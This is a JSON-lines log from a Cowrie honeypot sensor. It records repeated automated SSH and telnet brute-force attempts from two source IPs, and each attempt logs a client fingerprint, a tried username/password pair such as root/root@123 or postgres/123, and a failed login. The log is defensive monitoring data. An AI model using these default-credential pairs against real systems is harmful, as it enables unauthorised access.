{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:36.566857Z","src_ip":"45.156.87.253","session":"7445fd2e5590","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar","message":"login attempt [sonar/sonar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:36.815306Z","src_ip":"45.156.87.253","session":"7445fd2e5590","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:37.956115Z","src_ip":"45.156.87.253","session":"7445fd2e5590","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":45010,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e7c0d1c5282","protocol":"ssh","message":"New connection: 45.156.87.253:45010 (10.17.0.5:22) [session: 1e7c0d1c5282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:39.811954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:39.815506Z","src_ip":"45.156.87.253","session":"1e7c0d1c5282","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:39.974745Z","src_ip":"45.156.87.253","session":"1e7c0d1c5282","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123","message":"login attempt [postgres/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:40.288140Z","src_ip":"45.156.87.253","session":"1e7c0d1c5282","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:41.371639Z","src_ip":"45.156.87.253","session":"1e7c0d1c5282","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":45022,"dst_ip":"10.17.0.5","dst_port":22,"session":"4758414367c2","protocol":"ssh","message":"New connection: 45.156.87.253:45022 (10.17.0.5:22) [session: 4758414367c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:43.307917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:43.313672Z","src_ip":"45.156.87.253","session":"4758414367c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:43.394482Z","src_ip":"45.156.87.253","session":"4758414367c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"123456","message":"login attempt [adminuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:43.638311Z","src_ip":"45.156.87.253","session":"4758414367c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:44.851754Z","src_ip":"45.156.87.253","session":"4758414367c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.8267023563385,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:45.723397Z","src_ip":"14.47.200.242","session":"40ec01359757","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.47.200.242","src_port":37263,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bda03157bb2","protocol":"telnet","message":"New connection: 14.47.200.242:37263 (159.203.135.109:23) [session: 0bda03157bb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:45.926084Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":45026,"dst_ip":"10.17.0.5","dst_port":22,"session":"cddf45c85e60","protocol":"ssh","message":"New connection: 45.156.87.253:45026 (10.17.0.5:22) [session: cddf45c85e60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:46.628951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:46.632512Z","src_ip":"45.156.87.253","session":"cddf45c85e60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:46.712526Z","src_ip":"45.156.87.253","session":"cddf45c85e60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"\"??$","password":"?5<9>%(abc","message":"login attempt [\"??$/?5<9>%(abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:46.796568Z","src_ip":"14.47.200.242","session":"0bda03157bb2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:46.952736Z","src_ip":"45.156.87.253","session":"cddf45c85e60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:47.717034Z","src_ip":"14.47.200.242","session":"0bda03157bb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:48.035347Z","src_ip":"45.156.87.253","session":"cddf45c85e60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:48.613066Z","src_ip":"14.47.200.242","session":"0bda03157bb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":58360,"dst_ip":"10.17.0.5","dst_port":22,"session":"47d855028a08","protocol":"ssh","message":"New connection: 45.156.87.253:58360 (10.17.0.5:22) [session: 47d855028a08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:50.134577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:50.138457Z","src_ip":"45.156.87.253","session":"47d855028a08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:50.218396Z","src_ip":"45.156.87.253","session":"47d855028a08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba","message":"login attempt [dmdba/dmdba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:50.458869Z","src_ip":"45.156.87.253","session":"47d855028a08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:51.541456Z","src_ip":"45.156.87.253","session":"47d855028a08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":58392,"dst_ip":"10.17.0.5","dst_port":22,"session":"448315fd0714","protocol":"ssh","message":"New connection: 45.156.87.253:58392 (10.17.0.5:22) [session: 448315fd0714]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:53.465403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:53.506051Z","src_ip":"45.156.87.253","session":"448315fd0714","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:53.585669Z","src_ip":"45.156.87.253","session":"448315fd0714","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operator","password":"operator","message":"login attempt [operator/operator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:53.826290Z","src_ip":"45.156.87.253","session":"448315fd0714","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:54.908637Z","src_ip":"45.156.87.253","session":"448315fd0714","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":58416,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7d63a862a94","protocol":"ssh","message":"New connection: 45.156.87.253:58416 (10.17.0.5:22) [session: a7d63a862a94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:56.977101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:56.980063Z","src_ip":"45.156.87.253","session":"a7d63a862a94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:57.060027Z","src_ip":"45.156.87.253","session":"a7d63a862a94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345","message":"login attempt [user1/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:57.302016Z","src_ip":"45.156.87.253","session":"a7d63a862a94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:58.385268Z","src_ip":"45.156.87.253","session":"a7d63a862a94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":36518,"dst_ip":"10.17.0.5","dst_port":22,"session":"4453fc2de454","protocol":"ssh","message":"New connection: 45.156.87.253:36518 (10.17.0.5:22) [session: 4453fc2de454]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:00.346201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:00.353011Z","src_ip":"45.156.87.253","session":"4453fc2de454","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:00.433793Z","src_ip":"45.156.87.253","session":"4453fc2de454","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test1","message":"login attempt [test1/test1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:00.676335Z","src_ip":"45.156.87.253","session":"4453fc2de454","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:01.760334Z","src_ip":"45.156.87.253","session":"4453fc2de454","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":36536,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6a3cef787ef","protocol":"ssh","message":"New connection: 45.156.87.253:36536 (10.17.0.5:22) [session: f6a3cef787ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:03.819735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:08:03.823537Z","src_ip":"45.156.87.253","session":"f6a3cef787ef","protocol":"ssh"}
